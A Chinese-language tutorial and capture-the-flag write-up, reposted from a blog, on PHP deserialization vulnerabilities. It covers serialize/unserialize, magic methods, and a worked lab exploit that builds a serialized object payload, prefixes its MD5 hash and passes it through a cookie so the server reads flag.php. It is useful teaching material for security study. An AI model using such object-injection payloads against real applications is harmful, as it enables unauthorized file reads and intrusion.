一、反序列化
序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】
简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中
序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)【将字符串转化为状态信息】
序列化和反序列化是和类有关,A的类只能给A用。
1、序列化
__FILE__当前文件路径
show_source()显示文件php代码,内容可以添加想要的文件
当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。
fxlh.php代码内容,序列化,输出O:7:"chybeta":1:{s:4:"test";s:3:"123";}
O代表类,7说明共有七个字符,chybeta的1个类,s代表字符串,长度为4,名字是test,字符串123,长度为3.
-
<meta charset='utf-8'>
-
<?php
-
-
show_source(
__FILE__);
//显示当前文件的php代码
-
class chybeta //定义类 chybeta
-
{
-
var $test =
'123';
-
}
-
$class1 =
new chybeta;
//新建对象
-
$class1_ser = serialize($class1);
//序列化
-
print_r($class1_ser);
-
-
?>
与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次环境而言,可以从序列化后的结果中恢复对象(object)
fxlh.php,反序列化代码和输出
-
<meta charset='utf-8'>
-
<?php
-
-
show_source(
__FILE__);
//显示当前文件的php代码
-
-
//反序列化
-
class chybeta
-
{
-
var $test =
123;
-
}
-
$a = unserialize(
'O:7:"chybeta":1:{s:4:"test";s:3:"123";}');
-
var_dump($a);
-
?>
本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
2、魔术方法
__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数)
__destruct():当对象被销毁时会自动调用。(析构函数)
__wakeup() :如前所提,unserialize()时会自动调用。
(1)__construct()
-
<?php
-
show_source(
__FILE__);
-
class chybeta
-
{
-
var $test;
-
public
function __construct()
-
{
-
echo
'__construct';
-
}
-
}
-
$a =
new chybeta;
-
-
?>
可以看到__consturct()在new时自动调用了,被输出了。
首先序列化输出变量a,可以看到a的类型是类,test变量里是空
最后反序列化输出的内容是一样的
(2)__wakeup()
反序列化时被执行
二、靶场
1、代码阅读
(1)第一段代码
flag被存储在flag.php文件中,定义了一个readme类
__toString是一个魔术方法,快速获取对象的字符串信息,当一个对象被当做字符串处理时会被调用。echo时会当字符串处理。
highlight_file是文件高亮。
如果调用魔术方法,就会显示Readme.txt的内容以及$this。
当有get传参source时,$s得到一个对象,$s等于当前文件路径,输出$s,魔术方法__toString被调用。
假如$s->source这里传参flag.php就可以显示了。
我们把代码拷贝下来在本地实验一下,果真在$s -> source传参设定自定义文件,就可以输出
因为$s 是new定义,如果我们可以对$s序列化后的值,进行反序列化,输出想要的文件
所以这个文件主要需要得到flag的序列化值,所以我们修改代码得到flag.php的序列化值
O:6:"readme":1:{s:6:"source";s:8:"flag.php";}
(2)第二段源代码
因为反序列化了$m,$m由$c决定,$c由$_COOKIE['todos']决定.
substr($c,0,32)指截取前32位,存为$h
substr($c,32)指截取后32位,存为$m
$c=$h.$m
当md5($m)等于$h时,反序列化$m,并保存在$todos中
所以$c = md5($m).$m
所以$c = md5(O:6:"readme":1:{s:6:"source";s:8:"flag.php";}) . O:6:"readme":1:{s:6:"source";s:8:"flag.php";}
(3)第三段代码
foreach($todos as $todo)是把$todos内容($m反序列化)依次放入$todo遍历
<?=$todo?> ===> <?php echo $todo;?>
这是php的简易写法,意思是输出$todo
endforeach直到遍历结束
需要遍历,条件是$todos($m反序列化)必须是数组
2、操作
(1)得到序列化值
-
<meta charset='utf-8'>
-
<?php
-
Class readme
-
{
-
public
function __toString()
-
{
-
return highlight_file(
'Readme.txt',
true).highlight_file(
$this->source,
true);
-
}
-
}
-
$s =
new readme();
-
$s -> source =
'flag.php';
-
$s = [$s];
-
echo serialize($s);
-
?>
a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
经过MD5加密得到 e2d4f7dcc43ee1db7f69e76303d0105c
(2)构建$c
$c = md5($m).$m
$c = e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}
(3)COOKIE传参
要url编码
三、总结
反序列化漏洞利用方法
1、找到可以利用的魔术方法
2、找到可以反序列化的点
3、触发魔术方法
转载:https://blog.csdn.net/weixin_45540609/article/details/117089819